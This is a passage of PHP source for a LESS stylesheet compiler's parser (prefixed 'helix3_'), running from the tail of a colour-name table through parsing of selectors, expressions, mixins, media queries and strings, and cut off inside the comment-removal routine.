		'mediumslateblue' => '123,104,238',
		'mediumspringgreen' => '0,250,154',
		'mediumturquoise' => '72,209,204',
		'mediumvioletred' => '199,21,133',
		'midnightblue' => '25,25,112',
		'mintcream' => '245,255,250',
		'mistyrose' => '255,228,225',
		'moccasin' => '255,228,181',
		'navajowhite' => '255,222,173',
		'navy' => '0,0,128',
		'oldlace' => '253,245,230',
		'olive' => '128,128,0',
		'olivedrab' => '107,142,35',
		'orange' => '255,165,0',
		'orangered' => '255,69,0',
		'orchid' => '218,112,214',
		'palegoldenrod' => '238,232,170',
		'palegreen' => '152,251,152',
		'paleturquoise' => '175,238,238',
		'palevioletred' => '219,112,147',
		'papayawhip' => '255,239,213',
		'peachpuff' => '255,218,185',
		'peru' => '205,133,63',
		'pink' => '255,192,203',
		'plum' => '221,160,221',
		'powderblue' => '176,224,230',
		'purple' => '128,0,128',
		'red' => '255,0,0',
		'rosybrown' => '188,143,143',
		'royalblue' => '65,105,225',
		'saddlebrown' => '139,69,19',
		'salmon' => '250,128,114',
		'sandybrown' => '244,164,96',
		'seagreen' => '46,139,87',
		'seashell' => '255,245,238',
		'sienna' => '160,82,45',
		'silver' => '192,192,192',
		'skyblue' => '135,206,235',
		'slateblue' => '106,90,205',
		'slategray' => '112,128,144',
		'slategrey' => '112,128,144',
		'snow' => '255,250,250',
		'springgreen' => '0,255,127',
		'steelblue' => '70,130,180',
		'tan' => '210,180,140',
		'teal' => '0,128,128',
		'thistle' => '216,191,216',
		'tomato' => '255,99,71',
		'transparent' => '0,0,0,0',
		'turquoise' => '64,224,208',
		'violet' => '238,130,238',
		'wheat' => '245,222,179',
		'white' => '255,255,255',
		'whitesmoke' => '245,245,245',
		'yellow' => '255,255,0',
		'yellowgreen' => '154,205,50'
	);
}

// responsible for taking a string of LESS code and converting it into a
// syntax tree
class helix3_lessc_parser {
	static protected $nextBlockId = 0; // used to uniquely identify blocks

	static protected $precedence = array(
		'=<' => 0,
		'>=' => 0,
		'=' => 0,
		'<' => 0,
		'>' => 0,

		'+' => 1,
		'-' => 1,
		'*' => 2,
		'/' => 2,
		'%' => 2,
	);

	static protected $whitePattern;
	static protected $commentMulti;

	static protected $commentSingle = "//";
	static protected $commentMultiLeft = "/*";
	static protected $commentMultiRight = "*/";

	// regex string to match any of the operators
	static protected $operatorString;

	// these properties will supress division unless it's inside parenthases
	static protected $supressDivisionProps =
		array('/border-radius$/i', '/^font$/i');

	protected $blockDirectives = array("font-face", "keyframes", "page", "-moz-document", "viewport", "-moz-viewport", "-o-viewport", "-ms-viewport");
	protected $lineDirectives = array("charset");

	/**
	 * if we are in parens we can be more liberal with whitespace around
	 * operators because it must evaluate to a single value and thus is less
	 * ambiguous.
	 *
	 * Consider:
	 *     property1: 10 -5; // is two numbers, 10 and -5
	 *     property2: (10 -5); // should evaluate to 5
	 */
	protected $inParens = false;

	// caches preg escaped literals
	static protected $literalCache = array();

	public function __construct($helix3_lessc, $sourceName = null) {
		$this->eatWhiteDefault = true;
		// reference to less needed for vPrefix, mPrefix, and parentSelector
		$this->helix3_lessc = $helix3_lessc;

		$this->sourceName = $sourceName; // name used for error messages

		$this->writeComments = false;

		if (!self::$operatorString) {
			self::$operatorString =
				'('.implode('|', array_map(array('helix3_lessc', 'preg_quote'),
					array_keys(self::$precedence))).')';

			$commentSingle = helix3_lessc::preg_quote(self::$commentSingle);
			$commentMultiLeft = helix3_lessc::preg_quote(self::$commentMultiLeft);
			$commentMultiRight = helix3_lessc::preg_quote(self::$commentMultiRight);

			self::$commentMulti = $commentMultiLeft.'.*?'.$commentMultiRight;
			self::$whitePattern = '/'.$commentSingle.'[^\n]*\s*|('.self::$commentMulti.')\s*|\s+/Ais';
		}
	}

	public function parse($buffer) {
		$this->count = 0;
		$this->line = 1;

		$this->env = null; // block stack
		$this->buffer = $this->writeComments ? $buffer : $this->removeComments($buffer);
		$this->pushSpecialBlock("root");
		$this->eatWhiteDefault = true;
		$this->seenComments = array();

		// trim whitespace on head
		// if (preg_match('/^\s+/', $this->buffer, $m)) {
		// 	$this->line += substr_count($m[0], "\n");
		// 	$this->buffer = ltrim($this->buffer);
		// }
		$this->whitespace();

		// parse the entire file
		$lastCount = $this->count;
		while (false !== $this->parseChunk());

		if ($this->count != strlen($this->buffer))
			$this->throwError();

		// TODO report where the block was opened
		if (!is_null($this->env->parent))
			throw new exception('parse error: unclosed block');

		return $this->env;
	}

	/**
	 * Parse a single chunk off the head of the buffer and append it to the
	 * current parse environment.
	 * Returns false when the buffer is empty, or when there is an error.
	 *
	 * This function is called repeatedly until the entire document is
	 * parsed.
	 *
	 * This parser is most similar to a recursive descent parser. Single
	 * functions represent discrete grammatical rules for the language, and
	 * they are able to capture the text that represents those rules.
	 *
	 * Consider the function helix3_lessc::keyword(). (all parse functions are
	 * structured the same)
	 *
	 * The function takes a single reference argument. When calling the
	 * function it will attempt to match a keyword on the head of the buffer.
	 * If it is successful, it will place the keyword in the referenced
	 * argument, advance the position in the buffer, and return true. If it
	 * fails then it won't advance the buffer and it will return false.
	 *
	 * All of these parse functions are powered by helix3_lessc::match(), which behaves
	 * the same way, but takes a literal regular expression. Sometimes it is
	 * more convenient to use match instead of creating a new function.
	 *
	 * Because of the format of the functions, to parse an entire string of
	 * grammatical rules, you can chain them together using &&.
	 *
	 * But, if some of the rules in the chain succeed before one fails, then
	 * the buffer position will be left at an invalid state. In order to
	 * avoid this, helix3_lessc::seek() is used to remember and set buffer positions.
	 *
	 * Before parsing a chain, use $s = $this->seek() to remember the current
	 * position into $s. Then if a chain fails, use $this->seek($s) to
	 * go back where we started.
	 */
	protected function parseChunk() {
		if (empty($this->buffer)) return false;
		$s = $this->seek();

		// setting a property
		if ($this->keyword($key) && $this->assign() &&
			$this->propertyValue($value, $key) && $this->end())
		{
			$this->append(array('assign', $key, $value), $s);
			return true;
		} else {
			$this->seek($s);
		}


		// look for special css blocks
		if ($this->literal('@', false)) {
			$this->count--;

			// media
			if ($this->literal('@media')) {
				if (($this->mediaQueryList($mediaQueries) || true)
					&& $this->literal('{'))
				{
					$media = $this->pushSpecialBlock("media");
					$media->queries = is_null($mediaQueries) ? array() : $mediaQueries;
					return true;
				} else {
					$this->seek($s);
					return false;
				}
			}

			if ($this->literal("@", false) && $this->keyword($dirName)) {
				if ($this->isDirective($dirName, $this->blockDirectives)) {
					if (($this->openString("{", $dirValue, null, array(";")) || true) &&
						$this->literal("{"))
					{
						$dir = $this->pushSpecialBlock("directive");
						$dir->name = $dirName;
						if (isset($dirValue)) $dir->value = $dirValue;
						return true;
					}
				} elseif ($this->isDirective($dirName, $this->lineDirectives)) {
					if ($this->propertyValue($dirValue) && $this->end()) {
						$this->append(array("directive", $dirName, $dirValue));
						return true;
					}
				}
			}

			$this->seek($s);
		}

		// setting a variable
		if ($this->variable($var) && $this->assign() &&
			$this->propertyValue($value) && $this->end())
		{
			$this->append(array('assign', $var, $value), $s);
			return true;
		} else {
			$this->seek($s);
		}

		if ($this->import($importValue)) {
			$this->append($importValue, $s);
			return true;
		}

		// opening parametric mixin
		if ($this->tag($tag, true) && $this->argumentDef($args, $isVararg) &&
			($this->guards($guards) || true) &&
			$this->literal('{'))
		{
			$block = $this->pushBlock($this->fixTags(array($tag)));
			$block->args = $args;
			$block->isVararg = $isVararg;
			if (!empty($guards)) $block->guards = $guards;
			return true;
		} else {
			$this->seek($s);
		}

		// opening a simple block
		if ($this->tags($tags) && $this->literal('{')) {
			$tags = $this->fixTags($tags);
			$this->pushBlock($tags);
			return true;
		} else {
			$this->seek($s);
		}

		// closing a block
		if ($this->literal('}', false)) {
			try {
				$block = $this->pop();
			} catch (exception $e) {
				$this->seek($s);
				$this->throwError($e->getMessage());
			}

			$hidden = false;
			if (is_null($block->type)) {
				$hidden = true;
				if (!isset($block->args)) {
					foreach ($block->tags as $tag) {
						if (!is_string($tag) || $tag{0} != $this->helix3_lessc->mPrefix) {
							$hidden = false;
							break;
						}
					}
				}

				foreach ($block->tags as $tag) {
					if (is_string($tag)) {
						$this->env->children[$tag][] = $block;
					}
				}
			}

			if (!$hidden) {
				$this->append(array('block', $block), $s);
			}

			// this is done here so comments aren't bundled into he block that
			// was just closed
			$this->whitespace();
			return true;
		}

		// mixin
		if ($this->mixinTags($tags) &&
			($this->argumentDef($argv, $isVararg) || true) &&
			($this->keyword($suffix) || true) && $this->end())
		{
			$tags = $this->fixTags($tags);
			$this->append(array('mixin', $tags, $argv, $suffix), $s);
			return true;
		} else {
			$this->seek($s);
		}

		// spare ;
		if ($this->literal(';')) return true;

		return false; // got nothing, throw error
	}

	protected function isDirective($dirname, $directives) {
		// TODO: cache pattern in parser
		$pattern = implode("|",
			array_map(array("helix3_lessc", "preg_quote"), $directives));
		$pattern = '/^(-[a-z-]+-)?(' . $pattern . ')$/i';

		return preg_match($pattern, $dirname);
	}

	protected function fixTags($tags) {
		// move @ tags out of variable namespace
		foreach ($tags as &$tag) {
			if ($tag{0} == $this->helix3_lessc->vPrefix)
				$tag[0] = $this->helix3_lessc->mPrefix;
		}
		return $tags;
	}

	// a list of expressions
	protected function expressionList(&$exps) {
		$values = array();

		while ($this->expression($exp)) {
			$values[] = $exp;
		}

		if (count($values) == 0) return false;

		$exps = helix3_lessc::compressList($values, ' ');
		return true;
	}

	/**
	 * Attempt to consume an expression.
	 * @link http://en.wikipedia.org/wiki/Operator-precedence_parser#Pseudo-code
	 */
	protected function expression(&$out) {
		if ($this->value($lhs)) {
			$out = $this->expHelper($lhs, 0);

			// look for / shorthand
			if (!empty($this->env->supressedDivision)) {
				unset($this->env->supressedDivision);
				$s = $this->seek();
				if ($this->literal("/") && $this->value($rhs)) {
					$out = array("list", "",
						array($out, array("keyword", "/"), $rhs));
				} else {
					$this->seek($s);
				}
			}

			return true;
		}
		return false;
	}

	/**
	 * recursively parse infix equation with $lhs at precedence $minP
	 */
	protected function expHelper($lhs, $minP) {
		$this->inExp = true;
		$ss = $this->seek();

		while (true) {
			$whiteBefore = isset($this->buffer[$this->count - 1]) &&
				ctype_space($this->buffer[$this->count - 1]);

			// If there is whitespace before the operator, then we require
			// whitespace after the operator for it to be an expression
			$needWhite = $whiteBefore && !$this->inParens;

			if ($this->match(self::$operatorString.($needWhite ? '\s' : ''), $m) && self::$precedence[$m[1]] >= $minP) {
				if (!$this->inParens && isset($this->env->currentProperty) && $m[1] == "/" && empty($this->env->supressedDivision)) {
					foreach (self::$supressDivisionProps as $pattern) {
						if (preg_match($pattern, $this->env->currentProperty)) {
							$this->env->supressedDivision = true;
							break 2;
						}
					}
				}


				$whiteAfter = isset($this->buffer[$this->count - 1]) &&
					ctype_space($this->buffer[$this->count - 1]);

				if (!$this->value($rhs)) break;

				// peek for next operator to see what to do with rhs
				if ($this->peek(self::$operatorString, $next) && self::$precedence[$next[1]] > self::$precedence[$m[1]]) {
					$rhs = $this->expHelper($rhs, self::$precedence[$next[1]]);
				}

				$lhs = array('expression', $m[1], $lhs, $rhs, $whiteBefore, $whiteAfter);
				$ss = $this->seek();

				continue;
			}

			break;
		}

		$this->seek($ss);

		return $lhs;
	}

	// consume a list of values for a property
	public function propertyValue(&$value, $keyName = null) {
		$values = array();

		if ($keyName !== null) $this->env->currentProperty = $keyName;

		$s = null;
		while ($this->expressionList($v)) {
			$values[] = $v;
			$s = $this->seek();
			if (!$this->literal(',')) break;
		}

		if ($s) $this->seek($s);

		if ($keyName !== null) unset($this->env->currentProperty);

		if (count($values) == 0) return false;

		$value = helix3_lessc::compressList($values, ', ');
		return true;
	}

	protected function parenValue(&$out) {
		$s = $this->seek();

		// speed shortcut
		if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "(") {
			return false;
		}

		$inParens = $this->inParens;
		if ($this->literal("(") &&
			($this->inParens = true) && $this->expression($exp) &&
			$this->literal(")"))
		{
			$out = $exp;
			$this->inParens = $inParens;
			return true;
		} else {
			$this->inParens = $inParens;
			$this->seek($s);
		}

		return false;
	}

	// a single value
	protected function value(&$value) {
		$s = $this->seek();

		// speed shortcut
		if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "-") {
			// negation
			if ($this->literal("-", false) &&
				(($this->variable($inner) && $inner = array("variable", $inner)) ||
				$this->unit($inner) ||
				$this->parenValue($inner)))
			{
				$value = array("unary", "-", $inner);
				return true;
			} else {
				$this->seek($s);
			}
		}

		if ($this->parenValue($value)) return true;
		if ($this->unit($value)) return true;
		if ($this->color($value)) return true;
		if ($this->func($value)) return true;
		if ($this->string($value)) return true;

		if ($this->keyword($word)) {
			$value = array('keyword', $word);
			return true;
		}

		// try a variable
		if ($this->variable($var)) {
			$value = array('variable', $var);
			return true;
		}

		// unquote string (should this work on any type?
		if ($this->literal("~") && $this->string($str)) {
			$value = array("escape", $str);
			return true;
		} else {
			$this->seek($s);
		}

		// css hack: \0
		if ($this->literal('\\') && $this->match('([0-9]+)', $m)) {
			$value = array('keyword', '\\'.$m[1]);
			return true;
		} else {
			$this->seek($s);
		}

		return false;
	}

	// an import statement
	protected function import(&$out) {
		$s = $this->seek();
		if (!$this->literal('@import')) return false;

		// @import "something.css" media;
		// @import url("something.css") media;
		// @import url(something.css) media;

		if ($this->propertyValue($value)) {
			$out = array("import", $value);
			return true;
		}
	}

	protected function mediaQueryList(&$out) {
		if ($this->genericList($list, "mediaQuery", ",", false)) {
			$out = $list[2];
			return true;
		}
		return false;
	}

	protected function mediaQuery(&$out) {
		$s = $this->seek();

		$expressions = null;
		$parts = array();

		if (($this->literal("only") && ($only = true) || $this->literal("not") && ($not = true) || true) && $this->keyword($mediaType)) {
			$prop = array("mediaType");
			if (isset($only)) $prop[] = "only";
			if (isset($not)) $prop[] = "not";
			$prop[] = $mediaType;
			$parts[] = $prop;
		} else {
			$this->seek($s);
		}


		if (!empty($mediaType) && !$this->literal("and")) {
			// ~
		} else {
			$this->genericList($expressions, "mediaExpression", "and", false);
			if (is_array($expressions)) $parts = array_merge($parts, $expressions[2]);
		}

		if (count($parts) == 0) {
			$this->seek($s);
			return false;
		}

		$out = $parts;
		return true;
	}

	protected function mediaExpression(&$out) {
		$s = $this->seek();
		$value = null;
		if ($this->literal("(") &&
			$this->keyword($feature) &&
			($this->literal(":") && $this->expression($value) || true) &&
			$this->literal(")"))
		{
			$out = array("mediaExp", $feature);
			if ($value) $out[] = $value;
			return true;
		} elseif ($this->variable($variable)) {
			$out = array('variable', $variable);
			return true;
		}

		$this->seek($s);
		return false;
	}

	// an unbounded string stopped by $end
	protected function openString($end, &$out, $nestingOpen=null, $rejectStrs = null) {
		$oldWhite = $this->eatWhiteDefault;
		$this->eatWhiteDefault = false;

		$stop = array("'", '"', "@{", $end);
		$stop = array_map(array("helix3_lessc", "preg_quote"), $stop);
		// $stop[] = self::$commentMulti;

		if (!is_null($rejectStrs)) {
			$stop = array_merge($stop, $rejectStrs);
		}

		$patt = '(.*?)('.implode("|", $stop).')';

		$nestingLevel = 0;

		$content = array();
		while ($this->match($patt, $m, false)) {
			if (!empty($m[1])) {
				$content[] = $m[1];
				if ($nestingOpen) {
					$nestingLevel += substr_count($m[1], $nestingOpen);
				}
			}

			$tok = $m[2];

			$this->count-= strlen($tok);
			if ($tok == $end) {
				if ($nestingLevel == 0) {
					break;
				} else {
					$nestingLevel--;
				}
			}

			if (($tok == "'" || $tok == '"') && $this->string($str)) {
				$content[] = $str;
				continue;
			}

			if ($tok == "@{" && $this->interpolation($inter)) {
				$content[] = $inter;
				continue;
			}

			if (!empty($rejectStrs) && in_array($tok, $rejectStrs)) {
				break;
			}

			$content[] = $tok;
			$this->count+= strlen($tok);
		}

		$this->eatWhiteDefault = $oldWhite;

		if (count($content) == 0) return false;

		// trim the end
		if (is_string(end($content))) {
			$content[count($content) - 1] = rtrim(end($content));
		}

		$out = array("string", "", $content);
		return true;
	}

	protected function string(&$out) {
		$s = $this->seek();
		if ($this->literal('"', false)) {
			$delim = '"';
		} elseif ($this->literal("'", false)) {
			$delim = "'";
		} else {
			return false;
		}

		$content = array();

		// look for either ending delim , escape, or string interpolation
		$patt = '([^\n]*?)(@\{|\\\\|' .
			helix3_lessc::preg_quote($delim).')';

		$oldWhite = $this->eatWhiteDefault;
		$this->eatWhiteDefault = false;

		while ($this->match($patt, $m, false)) {
			$content[] = $m[1];
			if ($m[2] == "@{") {
				$this->count -= strlen($m[2]);
				if ($this->interpolation($inter, false)) {
					$content[] = $inter;
				} else {
					$this->count += strlen($m[2]);
					$content[] = "@{"; // ignore it
				}
			} elseif ($m[2] == '\\') {
				$content[] = $m[2];
				if ($this->literal($delim, false)) {
					$content[] = $delim;
				}
			} else {
				$this->count -= strlen($delim);
				break; // delim
			}
		}

		$this->eatWhiteDefault = $oldWhite;

		if ($this->literal($delim)) {
			$out = array("string", $delim, $content);
			return true;
		}

		$this->seek($s);
		return false;
	}

	protected function interpolation(&$out) {
		$oldWhite = $this->eatWhiteDefault;
		$this->eatWhiteDefault = true;

		$s = $this->seek();
		if ($this->literal("@{") &&
			$this->openString("}", $interp, null, array("'", '"', ";")) &&
			$this->literal("}", false))
		{
			$out = array("interpolate", $interp);
			$this->eatWhiteDefault = $oldWhite;
			if ($this->eatWhiteDefault) $this->whitespace();
			return true;
		}

		$this->eatWhiteDefault = $oldWhite;
		$this->seek($s);
		return false;
	}

	protected function unit(&$unit) {
		// speed shortcut
		if (isset($this->buffer[$this->count])) {
			$char = $this->buffer[$this->count];
			if (!ctype_digit($char) && $char != ".") return false;
		}

		if ($this->match('([0-9]+(?:\.[0-9]*)?|\.[0-9]+)([%a-zA-Z]+)?', $m)) {
			$unit = array("number", $m[1], empty($m[2]) ? "" : $m[2]);
			return true;
		}
		return false;
	}

	// a # color
	protected function color(&$out) {
		if ($this->match('(#(?:[0-9a-f]{8}|[0-9a-f]{6}|[0-9a-f]{3}))', $m)) {
			if (strlen($m[1]) > 7) {
				$out = array("string", "", array($m[1]));
			} else {
				$out = array("raw_color", $m[1]);
			}
			return true;
		}

		return false;
	}

	// consume an argument definition list surrounded by ()
	// each argument is a variable name with optional value
	// or at the end a ... or a variable named followed by ...
	// arguments are separated by , unless a ; is in the list, then ; is the
	// delimiter.
	protected function argumentDef(&$args, &$isVararg) {
		$s = $this->seek();
		if (!$this->literal('(')) return false;

		$values = array();
		$delim = ",";
		$method = "expressionList";

		$isVararg = false;
		while (true) {
			if ($this->literal("...")) {
				$isVararg = true;
				break;
			}

			if ($this->$method($value)) {
				if ($value[0] == "variable") {
					$arg = array("arg", $value[1]);
					$ss = $this->seek();

					if ($this->assign() && $this->$method($rhs)) {
						$arg[] = $rhs;
					} else {
						$this->seek($ss);
						if ($this->literal("...")) {
							$arg[0] = "rest";
							$isVararg = true;
						}
					}

					$values[] = $arg;
					if ($isVararg) break;
					continue;
				} else {
					$values[] = array("lit", $value);
				}
			}


			if (!$this->literal($delim)) {
				if ($delim == "," && $this->literal(";")) {
					// found new delim, convert existing args
					$delim = ";";
					$method = "propertyValue";

					// transform arg list
					if (isset($values[1])) { // 2 items
						$newList = array();
						foreach ($values as $i => $arg) {
							switch($arg[0]) {
							case "arg":
								if ($i) {
									$this->throwError("Cannot mix ; and , as delimiter types");
								}
								$newList[] = $arg[2];
								break;
							case "lit":
								$newList[] = $arg[1];
								break;
							case "rest":
								$this->throwError("Unexpected rest before semicolon");
							}
						}

						$newList = array("list", ", ", $newList);

						switch ($values[0][0]) {
						case "arg":
							$newArg = array("arg", $values[0][1], $newList);
							break;
						case "lit":
							$newArg = array("lit", $newList);
							break;
						}

					} elseif ($values) { // 1 item
						$newArg = $values[0];
					}

					if ($newArg) {
						$values = array($newArg);
					}
				} else {
					break;
				}
			}
		}

		if (!$this->literal(')')) {
			$this->seek($s);
			return false;
		}

		$args = $values;

		return true;
	}

	// consume a list of tags
	// this accepts a hanging delimiter
	protected function tags(&$tags, $simple = false, $delim = ',') {
		$tags = array();
		while ($this->tag($tt, $simple)) {
			$tags[] = $tt;
			if (!$this->literal($delim)) break;
		}
		if (count($tags) == 0) return false;

		return true;
	}

	// list of tags of specifying mixin path
	// optionally separated by > (lazy, accepts extra >)
	protected function mixinTags(&$tags) {
		$s = $this->seek();
		$tags = array();
		while ($this->tag($tt, true)) {
			$tags[] = $tt;
			$this->literal(">");
		}

		if (count($tags) == 0) return false;

		return true;
	}

	// a bracketed value (contained within in a tag definition)
	protected function tagBracket(&$parts, &$hasExpression) {
		// speed shortcut
		if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] != "[") {
			return false;
		}

		$s = $this->seek();

		$hasInterpolation = false;

		if ($this->literal("[", false)) {
			$attrParts = array("[");
			// keyword, string, operator
			while (true) {
				if ($this->literal("]", false)) {
					$this->count--;
					break; // get out early
				}

				if ($this->match('\s+', $m)) {
					$attrParts[] = " ";
					continue;
				}
				if ($this->string($str)) {
					// escape parent selector, (yuck)
					foreach ($str[2] as &$chunk) {
						$chunk = str_replace($this->helix3_lessc->parentSelector, "$&$", $chunk);
					}

					$attrParts[] = $str;
					$hasInterpolation = true;
					continue;
				}

				if ($this->keyword($word)) {
					$attrParts[] = $word;
					continue;
				}

				if ($this->interpolation($inter, false)) {
					$attrParts[] = $inter;
					$hasInterpolation = true;
					continue;
				}

				// operator, handles attr namespace too
				if ($this->match('[|-~\$\*\^=]+', $m)) {
					$attrParts[] = $m[0];
					continue;
				}

				break;
			}

			if ($this->literal("]", false)) {
				$attrParts[] = "]";
				foreach ($attrParts as $part) {
					$parts[] = $part;
				}
				$hasExpression = $hasExpression || $hasInterpolation;
				return true;
			}
			$this->seek($s);
		}

		$this->seek($s);
		return false;
	}

	// a space separated list of selectors
	protected function tag(&$tag, $simple = false) {
		if ($simple)
			$chars = '^@,:;{}\][>\(\) "\'';
		else
			$chars = '^@,;{}["\'';

		$s = $this->seek();

		$hasExpression = false;
		$parts = array();
		while ($this->tagBracket($parts, $hasExpression));

		$oldWhite = $this->eatWhiteDefault;
		$this->eatWhiteDefault = false;

		while (true) {
			if ($this->match('(['.$chars.'0-9]['.$chars.']*)', $m)) {
				$parts[] = $m[1];
				if ($simple) break;

				while ($this->tagBracket($parts, $hasExpression));
				continue;
			}

			if (isset($this->buffer[$this->count]) && $this->buffer[$this->count] == "@") {
				if ($this->interpolation($interp)) {
					$hasExpression = true;
					$interp[2] = true; // don't unescape
					$parts[] = $interp;
					continue;
				}

				if ($this->literal("@")) {
					$parts[] = "@";
					continue;
				}
			}

			if ($this->unit($unit)) { // for keyframes
				$parts[] = $unit[1];
				$parts[] = $unit[2];
				continue;
			}

			break;
		}

		$this->eatWhiteDefault = $oldWhite;
		if (!$parts) {
			$this->seek($s);
			return false;
		}

		if ($hasExpression) {
			$tag = array("exp", array("string", "", $parts));
		} else {
			$tag = trim(implode($parts));
		}

		$this->whitespace();
		return true;
	}

	// a css function
	protected function func(&$func) {
		$s = $this->seek();

		if ($this->match('(%|[\w\-_][\w\-_:\.]+|[\w_])', $m) && $this->literal('(')) {
			$fname = $m[1];

			$sPreArgs = $this->seek();

			$args = array();
			while (true) {
				$ss = $this->seek();
				// this ugly nonsense is for ie filter properties
				if ($this->keyword($name) && $this->literal('=') && $this->expressionList($value)) {
					$args[] = array("string", "", array($name, "=", $value));
				} else {
					$this->seek($ss);
					if ($this->expressionList($value)) {
						$args[] = $value;
					}
				}

				if (!$this->literal(',')) break;
			}
			$args = array('list', ',', $args);

			if ($this->literal(')')) {
				$func = array('function', $fname, $args);
				return true;
			} elseif ($fname == 'url') {
				// couldn't parse and in url? treat as string
				$this->seek($sPreArgs);
				if ($this->openString(")", $string) && $this->literal(")")) {
					$func = array('function', $fname, $string);
					return true;
				}
			}
		}

		$this->seek($s);
		return false;
	}

	// consume a less variable
	protected function variable(&$name) {
		$s = $this->seek();
		if ($this->literal($this->helix3_lessc->vPrefix, false) &&
			($this->variable($sub) || $this->keyword($name)))
		{
			if (!empty($sub)) {
				$name = array('variable', $sub);
			} else {
				$name = $this->helix3_lessc->vPrefix.$name;
			}
			return true;
		}

		$name = null;
		$this->seek($s);
		return false;
	}

	/**
	 * Consume an assignment operator
	 * Can optionally take a name that will be set to the current property name
	 */
	protected function assign($name = null) {
		if ($name) $this->currentProperty = $name;
		return $this->literal(':') || $this->literal('=');
	}

	// consume a keyword
	protected function keyword(&$word) {
		if ($this->match('([\w_\-\*!"][\w\-_"]*)', $m)) {
			$word = $m[1];
			return true;
		}
		return false;
	}

	// consume an end of statement delimiter
	protected function end() {
		if ($this->literal(';')) {
			return true;
		} elseif ($this->count == strlen($this->buffer) || $this->buffer[$this->count] == '}') {
			// if there is end of file or a closing block next then we don't need a ;
			return true;
		}
		return false;
	}

	protected function guards(&$guards) {
		$s = $this->seek();

		if (!$this->literal("when")) {
			$this->seek($s);
			return false;
		}

		$guards = array();

		while ($this->guardGroup($g)) {
			$guards[] = $g;
			if (!$this->literal(",")) break;
		}

		if (count($guards) == 0) {
			$guards = null;
			$this->seek($s);
			return false;
		}

		return true;
	}

	// a bunch of guards that are and'd together
	// TODO rename to guardGroup
	protected function guardGroup(&$guardGroup) {
		$s = $this->seek();
		$guardGroup = array();
		while ($this->guard($guard)) {
			$guardGroup[] = $guard;
			if (!$this->literal("and")) break;
		}

		if (count($guardGroup) == 0) {
			$guardGroup = null;
			$this->seek($s);
			return false;
		}

		return true;
	}

	protected function guard(&$guard) {
		$s = $this->seek();
		$negate = $this->literal("not");

		if ($this->literal("(") && $this->expression($exp) && $this->literal(")")) {
			$guard = $exp;
			if ($negate) $guard = array("negate", $guard);
			return true;
		}

		$this->seek($s);
		return false;
	}

	/* raw parsing functions */

	protected function literal($what, $eatWhitespace = null) {
		if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault;

		// shortcut on single letter
		if (!isset($what[1]) && isset($this->buffer[$this->count])) {
			if ($this->buffer[$this->count] == $what) {
				if (!$eatWhitespace) {
					$this->count++;
					return true;
				}
				// goes below...
			} else {
				return false;
			}
		}

		if (!isset(self::$literalCache[$what])) {
			self::$literalCache[$what] = helix3_lessc::preg_quote($what);
		}

		return $this->match(self::$literalCache[$what], $m, $eatWhitespace);
	}

	protected function genericList(&$out, $parseItem, $delim="", $flatten=true) {
		$s = $this->seek();
		$items = array();
		while ($this->$parseItem($value)) {
			$items[] = $value;
			if ($delim) {
				if (!$this->literal($delim)) break;
			}
		}

		if (count($items) == 0) {
			$this->seek($s);
			return false;
		}

		if ($flatten && count($items) == 1) {
			$out = $items[0];
		} else {
			$out = array("list", $delim, $items);
		}

		return true;
	}


	// advance counter to next occurrence of $what
	// $until - don't include $what in advance
	// $allowNewline, if string, will be used as valid char set
	protected function to($what, &$out, $until = false, $allowNewline = false) {
		if (is_string($allowNewline)) {
			$validChars = $allowNewline;
		} else {
			$validChars = $allowNewline ? "." : "[^\n]";
		}
		if (!$this->match('('.$validChars.'*?)'.helix3_lessc::preg_quote($what), $m, !$until)) return false;
		if ($until) $this->count -= strlen($what); // give back $what
		$out = $m[1];
		return true;
	}

	// try to match something on head of buffer
	protected function match($regex, &$out, $eatWhitespace = null) {
		if ($eatWhitespace === null) $eatWhitespace = $this->eatWhiteDefault;

		$r = '/'.$regex.($eatWhitespace && !$this->writeComments ? '\s*' : '').'/Ais';
		if (preg_match($r, $this->buffer, $out, null, $this->count)) {
			$this->count += strlen($out[0]);
			if ($eatWhitespace && $this->writeComments) $this->whitespace();
			return true;
		}
		return false;
	}

	// match some whitespace
	protected function whitespace() {
		if ($this->writeComments) {
			$gotWhite = false;
			while (preg_match(self::$whitePattern, $this->buffer, $m, null, $this->count)) {
				if (isset($m[1]) && empty($this->commentsSeen[$this->count])) {
					$this->append(array("comment", $m[1]));
					$this->commentsSeen[$this->count] = true;
				}
				$this->count += strlen($m[0]);
				$gotWhite = true;
			}
			return $gotWhite;
		} else {
			$this->match("", $m);
			return strlen($m[0]) > 0;
		}
	}

	// match something without consuming it
	protected function peek($regex, &$out = null, $from=null) {
		if (is_null($from)) $from = $this->count;
		$r = '/'.$regex.'/Ais';
		$result = preg_match($r, $this->buffer, $out, null, $from);

		return $result;
	}

	// seek to a spot in the buffer or return where we are on no argument
	protected function seek($where = null) {
		if ($where === null) return $this->count;
		else $this->count = $where;
		return true;
	}

	/* misc functions */

	public function throwError($msg = "parse error", $count = null) {
		$count = is_null($count) ? $this->count : $count;

		$line = $this->line +
			substr_count(substr($this->buffer, 0, $count), "\n");

		if (!empty($this->sourceName)) {
			$loc = "$this->sourceName on line $line";
		} else {
			$loc = "line: $line";
		}

		// TODO this depends on $this->count
		if ($this->peek("(.*?)(\n|$)", $m, $count)) {
			throw new exception("$msg: failed at `$m[1]` $loc");
		} else {
			throw new exception("$msg: $loc");
		}
	}

	protected function pushBlock($selectors=null, $type=null) {
		$b = new stdclass;
		$b->parent = $this->env;

		$b->type = $type;
		$b->id = self::$nextBlockId++;

		$b->isVararg = false; // TODO: kill me from here
		$b->tags = $selectors;

		$b->props = array();
		$b->children = array();

		$this->env = $b;
		return $b;
	}

	// push a block that doesn't multiply tags
	protected function pushSpecialBlock($type) {
		return $this->pushBlock(null, $type);
	}

	// append a property to the current block
	protected function append($prop, $pos = null) {
		if ($pos !== null) $prop[-1] = $pos;
		$this->env->props[] = $prop;
	}

	// pop something off the stack
	protected function pop() {
		$old = $this->env;
		$this->env = $this->env->parent;
		return $old;
	}

	// remove comments from $text
	// todo: make it work for all functions, not just url
	protected function removeComments($text) {
		$look = array(
			'url(', '//', '/*', '"', "'"
		);

		$out = '';
		$min = null;
		while (true) {
			// find the next item
			foreach ($look as $token) {
				$pos = strpos($text, $token);
				if ($pos !== false) {
					if (!isset($min) || $pos < $min[1]) $min = array($token, $pos);
				}
			}

			if (is_null($min)) break;

			$count = $min[1];
			$skip = 0;
			$newlines = 0;
			switch ($min[0]) {
